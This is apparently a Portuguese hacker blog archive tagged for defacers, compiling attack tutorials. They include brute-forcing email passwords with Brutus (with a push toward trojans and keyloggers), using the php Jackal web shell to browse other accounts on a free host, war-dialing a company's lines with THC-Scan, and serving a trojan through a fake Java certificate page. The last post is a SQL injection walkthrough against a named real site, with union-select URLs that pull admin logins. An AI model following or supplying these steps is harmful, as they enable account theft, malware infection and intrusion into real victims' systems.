Mostrando postagens com marcador Defacer. Mostrar todas as postagens
Mostrando postagens com marcador Defacer. Mostrar todas as postagens

sábado, 5 de março de 2011

Baixando Sites Inteiros da Internet

Muitas vezes encontramos na internet sites interessantíssimos que vale a pena ter ele em nosso disco rígido, para navegação off-line, isto é, sem estarmos conectados à Internet. A navegação off-line, além de muito mais rápida, ainda faz com que você economize na conta telefônica, pois não precisará ficar pendurado na Internet. Mesmo quem tem Internet banda larga sabe que a navegação off-line vale muito a pena.

Imagine que você assinou um desses sites de conteúdo adulto cheia de fotos interessantes. Sua assinatura um dia vai expirar, então vale a pena baixar logo todas as fotos enquanto ainda é tempo. O dia em que sua assinatura expirar, você terá as fotos todas ainda em seu disco rígido, podendo vê-las sem precisar estar conectado e muito menos pagando ao site de onde você as baixou, ou até mesmo para criar um site fake para fazer seus "caders" e invasões.

Existem vários programas com o intuito de baixar um site inteiro da Internet para o seu disco rígido. Nós testamos quatro deles: Express WebPictures (http://www.express-soft.com), Grab-a-Site (http://www.bluesquirrel.com), WebLooper (http://www.winsite.com/bin/Info?500000033792) e WebReaper (http://www.webreaper.net). Íamos testar um quinto programa, WebRipper (http://dasf.8m.net), só que ele deu um conflito de DLL e não instalou em nossa máquina. Mas fica aí registrado o endereço dele para quem quiser experimentá-lo.

Cada um tem as suas vantagens e as suas desvantagens. O WebLooper, por exemplo, é um programa que permite que você baixe fotos (arquivos do tipo Jpg ou Gif) que estejam numeradas seqüencialmente em um servidor da Internet automaticamente. Você só precisa entrar o nome da primeira foto (ex: http://www.site.com/pics/foto01.jpg), configurar a maneira com que a numeração é feita e o número da última foto. O programa baixa tudo automaticamente. A vantagem é que o programa anda rápido, já que ele não irá baixar arquivos HTML para analisar. A desvantagem é que, além de você precisar saber o endereço correto das fotos, o programa não permite que você configure um login e senha. Assim, esse programa não serve para baixar fotos presentes em um site protegido por login e senha - ao contrário de todos os demais programas testados.

O Grab-a-Site sem dúvida é um dos mais famosos, já que foi um dos primeiros programas desse tipo a surgirem no mercado. Você entra o endereço inicial do site e ele baixa o site inteiro para o seu disco rígido. Você deve configurar detalhes como a "profundidade" de navegação (até quantas páginas depois da inicial ele deve analisar) e se os arquivos no disco rígido deverão ser salvos com a mesma estrutura de diretórios do servidor original. O Grab-a-Site tem ainda como grande vantagem alterar os arquivos HTML salvos no disco para que ele aponte os arquivos presentes no disco rígido, e não mais na Internet, para que você realmente possa navegar off-line. A grande desvantagem desse programa é que ele não possui uma função de pausa. Se a sua conexão cair e você tiver que começar tudo de novo, ele simplesmente apaga todos os arquivos já baixados (!) para começar tudo novamente. Ao pedir para baixar um site em que você já tenha alguns arquivos dele no seu disco, ele faz a mesma coisa: apaga tudo para começar a baixá-lo de novo.

O Express WebPictures é fantástico. Ele vasculha um site e baixa somente as fotos. E mais, você pode configurar o que é "lixo". Assim, ele sabe que fotos pequenas (seja em tamanho dado em pixels ou em KB) não devem se baixadas. Se você está interessado em baixar somente as fotos de um site (inclusive em sites protegidos com login e senha), esse programa é bem melhor que o Grab-a-Site. E mais rápido, já que ele não baixará os arquivos HTML nem tampouco fotos que não te interessam. Você pode ainda configurar filtros, fazendo com que ele ignore arquivos que tenham um determinado conjunto de caracteres em seu nome. A única desvantagem é que ele é shareware e enquanto você não pagar de vez em quando ele para o download para mostrar uma mensagem de como adquirir o programa.

Mas o melhor de todos mesmo é o WebReaper. Ele é totalmente de graça e você pode optar entre baixar o site inteiro, como o Grab-a-Site, ou então baixar somente arquivos de um determinado tipo. A estrutura de filtros dele permite configurar o programa para baixar não só arquivos a partir de um determinado tamanho, mas também pela data de última atualização, permitindo que você atualize um site que já esteja em seu disco, baixando somente os arquivos novos. Ele tem também a vantagem de não baixar os arquivos já existentes em seu disco rígido.

sexta-feira, 25 de fevereiro de 2011

BackTrack [Usb]

vou mostrar como colocar o BackTrack3 para rodar a partir de um Pendrive.
É bem simples de fazer, vamos lá:

Vamos precisa de um Pendrive de no mínimo 1gb. Pode ser também um Ipod, MP3 e etc.

Vamos ter que baixar a versão USB do BackTrack3. Aqui em baixo eu coloquei o link direto para facilitar:

Agora vamos formatar o nosso pendrive. Clique como direito nele e escolha "formatar".



Em "sistemas de arquivo" escolha FAT32.




O pendrive já está pronto. Vamos ao arquivo que nós baixamos.

Note que essa versão USB que nós baixamos vem em formato ISO. O WinRar abre arquivos ISO, se vc tiver o WinRAR no seu PC, simples clique com o botão direito sobre o arquivo ISO e escolha "extrair aqui"




Após extrair veja que apareceram duas pastas: "boot" e "BT3". Estas pastas vc deve copiar para dentro do Pendrive.



Abra a pasta "boot" e execute lá dentro o arquivo "bootinst.bat". Este arquivo vai fazer com que se Pendrive seja bootável e possa iniciar o BackTrack3.



Pronto !!!!
Agora é só reiniciar o computador e dar Boot pelo USB.
Alguns computadores tem um menu de Boot, que é onde vc escolhe o que vai ser iniciado (CD, HD, Floopy e USB). Normalmente pode ser acessado pressionando algumas vezes F5, F8 ou F11. Mas isso varia de acordo com o computador.
Se o seu PC não tiver esse menu de boot. Vc terá que entrar na bios e mudar a ordem de boot, e colocar a entrada USB como "First Boot", que seria primeiro boot. Aí ele vai iniciar pelo pendrive e executar o BackTrack.
Aqui não posso explicar mais precisamente como fazer isso porque existem diversasa BIOS diferentes. Se o seu PC não tiver menu de boot, pesquise como alterar a ordem de boot na sua BIOS, mas tome muito cuidado ao mecher lá.


Esse tutorial eu fiz pra quem quer usar o BackTrack3 mas não tem um computador bom para rodar uma máquina virtual.
Espero que seja útil.

segunda-feira, 24 de janeiro de 2011

Brute Force pelo Brutus AET2

o software Brutus, que consegue descobrir senhas pela técnica da força-bruta. Isso significa que ele tenta várias senhas antes de acertar. Pode-se que nunca acerte (no caso de pessoas que tem senhas muito complicadas, misturando letras maiúsculas, minúsculas e números…) ou que demore dias, até semanas para se descobrir uma senha mais fácil (dependendo do seu tamanho). Tenha em mente que a chance de se descobrir uma senha por esse método é de 30%. Você dependerá da sorte.

A tela principal do Brutus

http://media.techtarget.com/digitalguide/images/Misc/PWcracking2.jpg


Vou explicar passo a passo todas as sessões do programa que você vê acima. Assim ficará mais fácil utilizá-lo e você compreenderá melhor o seu funcionamento.

Target – Aqui você coloca o endereço de onde você vai descobrir a senha. Isso pode ser muito variável. Por exemplo, se você for descobrir uma senha de HTTP FORM (visto depois), não adianta só você colocar http://www.site.com/ , você teria que colocar o caminho inteiro do formulário. Isso poderia ser complicado para algumas pessoas. Caso esteja tentando descobrir uma senha de ftp ou pop3 por exemplo, é só colocar o endereço do site na maioria das vezes.

Type – Esse é o mais importante de todos. Você vai definir que tipo de senha quer descobrir. Os tipos são:

- HTTP Basic Auth
- HTTP Form
- FTP
- POP3
- TELNET
- SMB (Netbios)
- Custom

Vamos ver um a um

HTTP Basic Auth – Esse é utilizado para se descobrir senhas de autenticação básica em páginas web (não baseadas em formulários).

HTTP Form – Para descoberta de senhas que utilizam formulários. Ex: e-mails de Yahoo e Hotmail.

FTP – Descobrir senhas de servidores ftp, utilizados para transferência de arquivos.

POP3 – Esse é importante. É utilizado para o recebimento de e-mails através de programas próprios. Através dele você senhas de e-mails muito mais rapidamente que utilizando HTTP Form. Por exemplo: Eu quero descobrir uma senha do Yahoo. Mas o yahoo.com.br permite que você use um servidor POP3 para ler os e-mails através do seu outlook ou outro programa qualquer. Se eu utilizasse HTTP Form, demoraria muito tempo para descobrir… algo como 1 ou 2 tentativas por segundo. Mas se eu tentar o endereço “pop.mail.yahoo.com.br”, que é o endereço POP3 para recebimento de e-mails do Yahoo (cada provedor / site tem o seu… procure saber qual é) vou conseguir aumentar a velocidade para 12 ou 13 tentativas por segundo.

TELNET – Utilizado para descobrir senhas de sistemas remotos que aceitam conexão via telnet (porta 23). Por exemplo, um sistema Linux ou Unix.

SMB (Netbios) – Senhas para acesso à sistemas Windows por compartilhamento de arquivos.

CUSTOM – Você pode customizar como quiser.
Depois temos os botões Start (iniciar), Stop (parar) e Clear (limpar)

Port – Porta do serviço que você vai utilizar para descobrir a senha. Geralmente não precisa mexer, quando você escolhe o tipo de serviço que quer descobrir ele coloca automaticamente a porta.
Connections – Quantidade de conexões simultâneas que o programa fará com o servidor. Quanto mais, mais rápido a senha será descoberta. Mas isso pode gastar muita banda do seu computador e do servidor, fazendo com que acabe ficando mais lento que antes. Adapte com cuidado.

Timeout – Tempo que irá durar as conexões. Pode deixar como está.
Abaixo você verá algumas configurações exclusivas de cada tipo de servidor. Por exemplo, se você selecionar o POP3 aparecerá a opção “Try to stay connected for … “ (tentar ficar conectado para… “), e você pode escolher quantas tentativas o programa fará antes de se desconectar e conectar de novo ou simplesmente colocar Unlimited (ilimitado). As vezes, certas configurações de proteção bloqueiam um usuário após ele errar a senha 3 vezes seguidas… daí você teria que configurar para o sistema tentar 2 vezes, desconectar e conectar de novo.

Authentication Options (opções de autenticação)

Aqui você pode definir o usuário / usuários que quer descobrir a senha e o método que será utilizado.

Use Username – Marque essa opção se a senha que você está tentando descobrir necessita de se dar um nome de usuário. Netbios para sistemas Windows 95, 98 e ME por exemplo não necessitam de usuário, só da senha

Single User – Marque se você quer descobrir a senha de um usuário somente. Se quiser de várias pessoas, deixe desmarcado.

Se o Single User estiver desmarcado, aparecerá User File. Você terá que selecionar um arquivo que contém o nome dos usuários, um em cima do outro. Assim:

Usuario1
Usuario2
Usuario3

Se Single User estiver marcado, aparecerá UserID. Daí é só colocar o nome do usuário.

Depois veremos Pass Mode. Ela mostra três tipos de senhas para serem descobertas. Wordlist, ComboList e Bruteforce.

Wordlist – Uma lista de palavras comumente usadas. Por exemplo, você pode carregar uma lista de palavras com vários nomes e tentar usar todos eles como senha. Sabendo que várias pessoas utilizam senhas fáceis (nomes de atores, datas de nascimento, etc… ) sua chance de descobrir uma senha fácil é grande aqui. O Brutus vêm com uma lista de palavras em inglês, mas se quiser existem listas em português na Internet. Ou você pode fazer a sua própria. Exemplo de uma lista:

Amor
Andreia
Adriana
Antonio


ComboList – É a WordList melhorada. Por exemplo, certas pessoas têm o péssimo hábito de colocar um número na frente da senha. Será tão mais seguro assim? Exemplo: em vez de colocar marcos como senha eu coloco marcos1 . É exatamente isso o que o ComboList descobre. Ele pega as senhas que estão na WordList e coloca números na frente, muda para maísculo, inverte a senha… típicas coisas que uma pessoa comum faz.

BruteForce – É o mais poderoso e o mais demorado. Com ele você pode descobrir qualquer senha, mas pode levar milênios (!!!) . Dentro da opção Range, você pode configurar o tamanho mínimo e máximo da senha (Min Length e Max Length) e o que será tentado… só digitos (Digits only), letras minúsculas (Lowercase Alpha), letras maiúsculas (Uppercase Alpha), maiúsculas e minúsculas (Mixed Alpha), letras e números (AlphaNumeric), ou todos os caracteres do teclado, incluindo símbolos como +, - e * (Full Keyspace). Por último você também pode customizar quais caracteres serão usados.

Por último:

Positive Authentication Results mostra que senhas você já descobriu, destacando o endereço e o nome do usuário. Fique atendo também na barra inferior do Brutus que mostra que senha está sendo tentada no momento, a quantidade de tentativas por segundo e o tempo que demora para acabar.

Bom, eu espero que com esse documento fique mais fácil utilizar esse poderoso programa. Ele não é o único que faz força bruta, existem muitos outros, mas nem todos tão simples de se utilizar. Novamente digo que a chance de descoberta de senhas utilizando esse método é de apenas 30%, então recomendo utilizar um trojan ou um keylogger se você quer obter a senha rapidamente.

Invadindo sites gratuitos com php Jackal

- Crie uma conta no justfree.


http://www.justfree.com/register.jsp

você precisará dela para ter acesso aos arquivos.

- Baixe o php jackal:


http://www.4shared.com/file/208445998/4 ... ckphp.html

descompacte e upe na sua conta do justfree.

- Acesse o PHP jackal que você upou ( http://www.seuuser.justfree/Jackal.php ).

- No php Jackal, lá em cima você verá escrito "File Manager". clique nela.
Você entrará no gerenciador de arquivos.

- Pegue o site do Jackal que você vai invadir. No exemplo usarei: http://testelol.justfree.com/
Repare no nome da conta dele: testelol.
No file manager do Jackal, você verá a caixa "Location".
Ali está a localização do seu site atual.
Se você reparar, o caminho contem várias pastas, e tres delas tem as iniciais do nome do site.
como no exemplo em vermelho
EX.: /jotun1/justfree.com/t/e/s/testelol/htdocs

O nome do site é testelol, logo as iniciais são: t/e/s

Você deverá subistituir essas letras, pelas letras do site que você quer ownar.
Ok, subistituidas, você agora deverá subistiuir o nome do seu site pelo site que você irá ownar, que vem depois dessas tres letras. No exemplo citado em azul, contém o nome do site, ali você apenas subistiui o seu pelo site que deseja invadir.
aperte enter.

Você agora deverá ver todos os arquivos do site do individuo... O jackal, dá várias opções do que se fazer com ele, ali em actions, faça bom proveito delas.

Essa tecnica tambem funciona em alguns outros hosts free

segunda-feira, 10 de janeiro de 2011

Logando como root pelo modo gráfico

Uma maneira fácil de acessar a conta root sem alterar qualquer arquivo de configuração.

- A receita do bolo.

Minhas saudações a toda comunidade, depois de encontrar bastante ajuda aqui no site e adquirir uma pequena experiência estou iniciando minha contribuição com este pequeno artigo que com certeza deve ajudar muitas pessoas.

Certamente que você já deve ter quebrado a cabeça para instalar algum hardware ou programa, e, assim como eu, ficado de saco cheio de digitar a todo momento a senha administrativa para realizar comandos ou realizar ações.

A maioria das distros atuais tem a conta root bloqueada, pesquisei na net alguma forma alternativa de acessar a conta root apenas temporariamente em modo gráfico, mas não achei nada que me agradasse, pois teríamos sempre que alterar arquivos de configuração e ao final seria preciso restaurar backups se quiséssemos deixar as coisas como estavam, e para isso mais sudo ou su password.... Foi então que me conveio uma forma fácil de solucionar o problema com apenas alguns comandos no console:

$ su
# killall kdm
(testado no KDE, no Gnome você pode tentar killall gdm)

O X vai ser finalizado e o serviço gerenciador de login também, é justamente ele que impede o login como root, depois disso é só fazer o login como root e reiniciar o X:

user login: root
password: suasenha

# startx

Aviso: Não é recomendado o usar corriqueiramente a conta de root, além do risco de segurança, você pode trazer sérios danos ao seu sistema.

Fonte: vivaolinux

Fazendo War Dialers ou Discagem de guerra

Parte 1 -> Downloads

Download : THC-Scan

Parte 2 -> Teórica

Muito especialistas dizem que são técnicas ultrapassadas que jí não valem mais, mas muitos sistemas ainda são vulneríveis a estas falhas...

Para você conseguir fazer isto você deve usar um modem na sua casa para internet...

O que é isso?
War Dialer (discador de guerra): também conhecido como demon-dialing ou carrier-scanning. A guerra de discagem (war-dialing) ficou conhecida em 1983 através do filme War Games (Jogos De Guerra - Ainda passa na cessão da tarde). É o processo de discar todos os números de uma série até encontrar uma míquina que responda. Muitas corporações possuem computadores desktop com modens instalados; atacantes podem discar para tentar uma conexão com o desktop e, depois disso, com a corporação. De forma semelhante, muitas empresas possuem servidores com modems instalados, os quais não são considerados como parte do esquema geral de segurança.

A gente faz uma PESQUISA...

1ª Pesquisa... Quais são os números de telefone da empresa?

Você pode conseguir isto na lista telefônica, pode tentar usar engenharia social em funcionírios desta empresa, você pode conseguir no site da empresa. Não importa como você conseguiu, mas tente arranjar o maior numero de telefone possàvel daquela empresa...

Vamos dizer que nossa empresa se chama "Forum-Invaders"... Você fez a pesquisa e viu que os números desta empresa variam desde "4567-0001" ate "4567-0100". Então temos ai 100 números de telefone que essa empresa possui...

O que temos que saber agora é quais deste números são: modens, ou aparelho de fax, ou ramais, ou linha de callback (ai que vem os war dialers)...

Mas antes, o que é um CallBack?
CallBack funciona mais ou menos assim:
Você liga para a central e a central te da um novo tom de discagem, vou dar um exemplo...

Vamos supor que um funcionírio de uma empresa trabalha no Rio Grande Do Sul mas ele esta em São - Paulo, só que deu um problema e ele teve que ligar para a Espanha, só que ele esta no cliente dele e o cliente não vai permitir que ele faça uma ligação internacional. Então o que ele faz? Ele liga para este numero de CallBack da empresa e esse numero de Callback da um outro sinal de discagem para ele... O que vai acontecer então este numero de CallBack vai discar para Espanha (no nosso caso) e a conta vai ir para no numero do CallBack e não na do cliente.

Por este motivo que é muito interessante achar esses números de CallBack, porque uma pessoa com a ma intensão, pode usar estes numeros para falar de graça onde estiver, isto quem faz bastante são os Phreakers ("Hackers" de telefonia).

Qual a solução então?

A solução então é ligar para todos os números encontrados (no nosso caso desde "4567-0001" ate "4567-0100"), pegar uma folha de papel e ir anotando, por exemplo: 4567-0001 é modem 4567-0002 é aparelho de FAX e assim por diante. Só que isso é muito chato e demorado, para isso que funciona os Wars Dialers.

Bom, acho que conseguiram compreender o que é um War Dialer. Chega de Blíblíblí e vamos para pratica!

Parte 3 -> Pratica

O Programa que nos vamos usar agora é o THC-SCAN. Ele é criado para o sistema operacional MS-DOS. Mas eu vou mostrar para vocês como fazer para rodar em Windows.

Baixe o THC-Scan 528KB

Abra ele e descompacte no C: (vou mostrar o exemplo usando o Winrar):

Depois de fazer isto você abre o “Prompt de comando” (menu iniciar -> executar -> cmd -> ok)

Se tiver na pasta: “C:\Documents and Settings\SEU USUARIO”

Você digita os seguintes comandos:

cd ..
cd ..
cd THC-Scan
cd bin

Preste atenção:

.. é 2 pontos mesmo;

cd .. = voltar uma pasta;

cd THC-Scan = abrir a pasta “THC-Scan”.


Agora vamos configurar o THC-Scan. Claro se você souber coisas como: porta COM, endereço de IRCQ, endereço de AIO, estas coisas, vão ajudar muito você na hora de configurar. Mas se você não souber estas coisas o próprio THC-Scan tem um programa chamado “mode-det.exe”, ele vai testar todas as portas COM do seu computador e vai dizer em qual tem um modem e as informações relativas a este modem. Então vamos usar este “mode-det.exe”. Se você usar o sistema operacional Windows (não importa a versão) você vai digitar agora no Prompt de comando start /separate mod-det

Deixa ele termina de examinar.

Veja o modem que pegou e anote os dados (irq3 e o endereço de AIO) porque, estes dados nos vamos usar para configurar nosso programa. Agora então nos vamos abrir outro programa para configurar o THC-Scan. O programa se chama “ts-cfg.exe”.

E agora você vai digitar start /separate ts-cfg

De um enter .


Na opção “Modem Config” agente tem a opção de arrumar a porta COM (COM Port), endereço base (Base Address) e o IRQ (IRQ), tem outras opções que agente pode arruma também como as strings AT mas não é muito importante esta parte.

Basta dar um “esc” que você volta para a pígina anterior. Você pode agora dar uma olhada nas outras opções por mais que você não entenda mas só para você ver onde elas estão e qual é a “cara” delas. Para fechar o programa você vai em “SAVE + EXIT” e depois “SAVE + QUIT” que daà ele vai salvar as alterações do THC-Scan.

Bem agente jí tem ele configurado agora agente vai ter que fazer testes para quer se encontramos modens por ai. Então para rodar o programa THC-Scan mesmo ele o próprio dana de configuração você vai digitar start /separate THC-Scan /M:e agora tem que por os números de telefone para ele discar (se lembram dos nosso números 4567-0001 ate 4567-0100...). Só que como é do 001 ate 100 (os últimos números) você vai ter que por xx ao invez de 01 (assim vai de 00 ate 99, só vai faltar o 100 porque se não você teria que ir ate o 999). Então iria para nos ficar assim: start /separate THC-Scan /M:4567-00xx.

De um enter e pronto começou a verificar as configurações e logo após começara o ataque ...

Bom depois que terminar o ataque ele voltara a pagina do “Prompt de Comando”. E na pasta onde esta o THC-Scan (no nosso caso c:/THC-SCAN) foi criado um arquivo com extensão .dat que você executando ele você ira ver toda as informações do seu scan, tem também uns arquivo .log por exemplo carrier.log que mostra os fones que são modens que o THC-Scan achou e assim por diante.

Agora você pode deixar a noite inteira ele ligado e tentar pegar mais números para achar modens que atendam ligações e depois de achar você pode tentar usar força bruta para saber o “id” e a “senha”e ter acesso total ao modem!!!

Infectando por URL html autoinfect

Explicando:
- A vítima entrará no seu site. Logo após, ela receberá uma falsa notificação de "java".
- Quando ela clicar na paradinha que aparece, seu server estará sendo executado.
- Sem que ela perceba!
Bom, vou tentar encurtar o tutorial, para evitar futuras complicações.

Ferramentas necessárias:
- Um Trojan: Escolha um trojan qualquer de sua preferência.
- Um host que aceite .exe ( qualquer um do seu criterio
- Um Script em Html
- Um falso Certificado de java
- E uma animação em Flash (Opcional)

Baixe as três últimas ferramentas aqui:

Download

Com todas as ferramentas em mãos, vamos as configurações:
- Baixe os Scripts acima e abra o arquivo "index.html" com o Bloco de Notas.
(Clique com o botão direito >> Abrir Com >> Bloco de Notas)
- Localize a parte do código que contém isso:





ATENÇÃO: A parte que está destacada no código acima, será o endereço do seu server. Para substituir, você terá de hospedar seu server no site que eu indiquei acima.
Depois pegue o link hospedado e substitua pelo que está aí e salve assim:

index.html

Todos os Arquivos

- Agora já pode hospedar todos que você baixou!
Pronto... O Script já está configurado.

IP Spoofing, IP Address e Packet Header Analysis

Este é um tutorial que eu preferi deixar na língua original

-: IP Spoofing :-

The term IP (Internet Protocol) address spoofing refers to the creation of IP packets with a forged (spoofed) source IP address with the purpose of concealing the identity of the sender or impersonating another computing system.

Why it works ?
IP-Spoofing works because trusted services only rely on network address based authentication. Since IP is easily duped, address forgery is not difficult.
The main reason is security weakness in the TCP protocol known as sequence number prediction.

How it works ?
To completely understand how ip spoofing can take place, one must examine the structure of the TCP/IP protocol suite. A basic understanding of these headers and network exchanges is crucial to the process.

Internet Protocol (IP) :
It is a network protocol operating at layer 3 (network) of the OSI model. It is a connectionless model, meaning there is no information regarding transaction state, which is used to route packets on a network. Additionally, there is no method in place to ensure that a packet is properly delivered to the destination.

Examining the IP header, we can see that the first 12 bytes (or the top 3 rows of the header) contain various information about the packet. The next 8 bytes (the next 2 rows), however, contains the source and destination IP addresses. Using one of several tools, an attacker can easily modify these addresses – specifically the “source address” field.

Transmission Control Protocol (TCP) :
It is the connection-oriented, reliable transport protocol in the TCP/IP suite. Connection-oriented simply means that the two hosts participating in a discussion must first establish a connection via the 3-way handshake (SYN-SYN/ACK-ACK). Reliability is provided by data sequencing and acknowledgement. TCP assigns sequence numbers to every segment and acknowledges any and all data segments recieved from the other end.

As you can see above, the first 12 bytes of the TCP packet, which contain port and sequencing information.

TCP sequence numbers can simply be thought of as 32-bit counters. They range from 0 to 4,294,967,295. Every byte of data exchanged across a TCP connection (along with certain flags) is sequenced. The sequence number field in the TCP header will contain the sequence number of the *first* byte of data in the TCP segment. The acknowledgement number field in the TCP header holds the value of next *expected* sequence number, and also acknowledges *all* data up through this ACK number minus one.

TCP packets can be manipulated using several packet crafting softwares available on the internet.

The Attack
IP-spoofing consists of several steps. First, the target host is choosen. Next, a pattern of trust is discovered, along with a trusted host. The trusted host is then disabled, and the target’s TCP sequence numbers are sampled. The trusted host is impersonated, the sequence numbers guessed, and a connection attempt is made to a service that only requires address-based authentication. If successful, the attacker executes a simple command to leave a backdoor.

Spoofing can be implemented by different ways as given below -

Non-Blind Spoofing :- This type of attack takes place when the attacker is on the same subnet as the victim. The sequence and acknowledgement numbers can be sniffed, eliminating the potential difficulty of calculating them accurately.

Blind Spoofing :- Here the sequence and acknowledgement numbers are unreachable. In order to circumvent this, several packets are sent to the target machine in order to sample sequence numbers.

Both types of spoofing are forms of a common security violation known as a Man In The Middle Attack. In these attacks, a malicious party intercepts a legitimate communication between two friendly parties. The malicious host then controls the flow of communication and can eliminate or alter the information sent by one of the original participants without the knowledge of either the original sender or the recipient. In this way, an attacker can fool a victim into disclosing confidential information by “spoofing” the identity of the original sender, who is presumably trusted by the recipient.

IP spoofing is almost always used in what is currently one of the most difficult attacks to defend against – Denial of Service attacks, or DoS.

1) Filtering at the Router :- Implementing ingress and egress filtering on your border routers is a great place to start your spoofing defense. You will need to implement an ACL (access control list)

2) Encryption and Authentication :- Implementing encryption and authentication will also reduce spoofing threats. Both of these features are included in Ipv6, which will eliminate current spoofing threats.

3) Initial Sequence Number Randomizing.

-: IP Address :-

Definition :-
“An Internet Protocol (IP) address is a numerical identification (logical address) that is assigned to devices participating in a computer network utilizing the Internet Protocol for communication between its nodes”. — Wikipedia

The Internet Protocol (IP) has two versions currently in use which are IPv4 and IPv6.
This article represents to IPv4 version only.

In general, an IP address is a 32-bit decimal number that is normally written as four numbers between 1 to 255 (8 bits or 1 byte each), each seperated from the other by a decimal point. This standard is known as “Dotted Decimal Notation”.
e.g.- 117.200.77.110

IP addresses are divided into number of ranges/classes as given in the table below-

ClassRange
A0.0.0.0 to 127.255.255.255
B128.0.0.0 to 191.255.255.255
C192.0.0.0 to 223.255.255.255
D224.0.0.0 to 239.255.255.255
E240.0.0.0 to 255.255.255.255

e.g.- IP Address 192.168.24.114 belongs to Class ‘C’.

How to find out IP Address of your system ?
1) Connect to the Internet.
2) Launch MS-DOS Command Prompt.
3) Type “netstat -n”, Press Enter.

You will get the output similar to following-

The IP Address shown in local address field denotes IP Address of your system.
In this case it is
117.200.160.151

IP Address Formats :-
Four different formats of IP Address along with example is as given below-

1) Domain Name System (DNS) : www.insecure.in
2) DWORD Format : 2928008962
3) Octal Format : 0256.0205.0337.002
4) Dotted Decimal Format : 174.133.223.2

Converting DNS IP Address into Normal IP Address :-
You can easily get the IP Address of any domain by various methods such as WHOIS, Netstat, Ping, Traceroute, etc.
Here I have used ‘Ping’ to get IP Address.

1) Connect to the Internet.
2) Launch MS-DOS Command Prompt.
3) Type “ping domainname”, Press Enter.

You will get the output similar to following-

Here, IP Address for Domain “www.insecure.in” is “174.133.223.2″

Thus by typing “http://www.insecure.in” OR “http://2928008962″ OR “0256.0205.0337.02″ OR “174.133.223.2″ in your browser will take you to the same site.

: Packet Header Analysis :-

Following are the easy to analyze ICMP, TCP and UDP packet headers along with short description.
All header Drawings by- “Matt Baxter” (www.fatpipe.org/~mjb/Drawings/)

ICMP-Header

ICMP Message Types :- ICMP message type-code/name format
0 Echo Reply
3 Destination Unreachable
4 Source Quench
5 Redirect
8 Echo
11 Time Exceeded
12 Parameter Problem
13 Timestamp
14 Timestamp Reply
15 Information Request
16 Information Reply

Checksum :- The checksum is the 16-bit ones’s complement of the one’s complement sum of the ICMP message starting with the ICMP Type.

RFC 792 :- Please refer to RFC 792 for Internet Control Message Protocol (ICMP) Specification.


TCP-Header
TCP Flags :- C E U A P R S F
C 0×80 Reduced (CWR)
E 0×40 ECN Echo (ECE)
U 0×20 Urgent
A 0×10 Ack
P 0×08 Push
R 0×04 Reset
S 0×02 Syn
F 0×01 Fin
TCP Options :-
0 End of Options List
1 No Operation (NOP, Pad)
2 Maximum Segment Size
3 Window Scale
4 Selective ACK ok
8 Timestamp

Checksum :- Checksum of entire TCP segment and pseudo header (parts of IP header)

Offset :- Number of 32-bit words in TCP header, minimum value of 5. Multiply by 4 to get byte count.

RFC 793 :- Please refer to RFC 793 for Transmission Control Protocol (TCP) Specification.


UDP-Header

Source Port :- an optional field, when meaningful, it indicates the port of the sending process, and may be assumed to be the port to which a reply should be addressed in the absence of any other information. If not used, a value of zero is inserted.

Destination Port :- Destination Port has a meaning within the context of a particular internet destination address.

Length :- Length is the length in octets of this user datagram including this header and the data. (This means the minimum value of the length is eight.)

Checksum :- Checksum is the 16-bit one’s complement of the one’s complement sum of a pseudo header of information from the IP header, the UDP header, and the data, padded with zero octets at the end (if necessary) to make a multiple of two octets.

RFC 768 :- Please refer to RFC 768 for User Datagram Protocol (UDP) Specification.

Fonte: Insecure

Tutorial asp injection

Bem nesse tutorial vou explicar a tecníca de sql union em asp para quem começa em deface isso e importante para dar continuidade as outras aulas q vou fazer ok,vamos começar.

Tem várias dorks para o google vou usar como exemplo essa aqui (novidades.asp?id=) achei esse site vulnerável http://www.harasnovoprado.com.br/home/novidades.asp?id=29 entao como saber se ele está vulneravél ? Bem tem varias maneiras de saber isso uma delas e colocando uma aspa assim ( ‘ ) sendo assim a url vai ficar desse jeito http://www.harasnovoprado.com.br/home/novidades.asp?id=29’ ai se ele estiver vulnerável a sql union vai aparecer um erro parecido com esse ou diferente veja a baixo:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in query expression 'Id = 29'''.

/home/novidades.asp, line 35

Entao eu já sei que ele está vulnerável e agora o que eu faço?

Bem agora vamos tentar saber quantas tabelas o sites tem para nós darmos continuidade vamos colocar o sequinte comnado na final da url do site +order+by+numero de tabelas, ficando assim na url http://www.harasnovoprado.com.br/home/novidades.asp?id=29+order+by+1 se a pagina carregar normal e não aparecer o mesmo erro relatado acima e pq ele tem mais tabelas sendo assim subtitua o 1 pelo 2 ficando assim http://www.harasnovoprado.com.br/home/novidades.asp?id=29+order+by+2 bem ainda ainda não ta dendo o erro agora teste um numero de tabela alto coloque o 5 no lugar do 2 ficando assim http://www.harasnovoprado.com.br/home/novidades.asp?id=29+order+by+5

Apareceu o erro

Microsoft OLE DB Provider for ODBC Drivers error '80004005'

[Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine does not recognize '5' as a valid field name or expression.

/home/novidades.asp, line 35

Entao sabemos q não o site não tem 5 tabelas entao vou colocar o 4 no lugar do 5 ficando assim

http://www.harasnovoprado.com.br/home/novidades.asp?id=29+order+by+4

agora sim não deu erro entao sabemos q o site tem 4 tabelas agora vamos manipula-lá pela url entao vamos primeiramente tentar achar a aréa administrativa do site q ai vai variar dependendo do webmaster, o padrão e : adm , login, admin, administrador, user, usuario.

Entao vamos tentar login ficando assim a url

http://www.harasnovoprado.com.br/admin entao nao deu em nada na existe entao vamos tentar adm ficando assim http://www.harasnovoprado.com.br/adm agora sim nao deu erro sabemos q a pasta adm existe entao vamos voltar para a url e unir as tabelas com o sequinte comando: +union+all+select+numeros de tabelas achadas+from+tabela do adm entao ficando assim na url

http://www.harasnovoprado.com.br/home/novidades.asp?id=29+union+all+select+1,2,3,4+from+adm

mais se voltar o erro entao a tabela adm não existe e provavel q o webmaster mudou entao no lugar de adm coloque o padrão q e admin ficando assim

http://www.harasnovoprado.com.br/home/novidades.asp?id=29+union+all+select+1,2,3,4+from+admin

entao a pagina carregou normalmente entao sabemos que aquela tabela existe entao agora vamos explorar vamos colocar um hifem ( - ) entra o ?id=-29+ ficando assim

www.harasnovoprado.com.br/home/novidades.asp?id=29+union+all+select+1,2,3,4+from+admin

entao no lugar do errro irá aparecer ums numeros mais ou menos assim:

3
2

4

Agora vamos manipular a url, entao na aréa administrativa tera os campos login e senha

Entao no lugar na url tem quem o numero 3 colocamos o nome login fcando assim

www.metax.com.br/noticias.asp?id=-9+union+all+select+1,2,login,4+from+adm

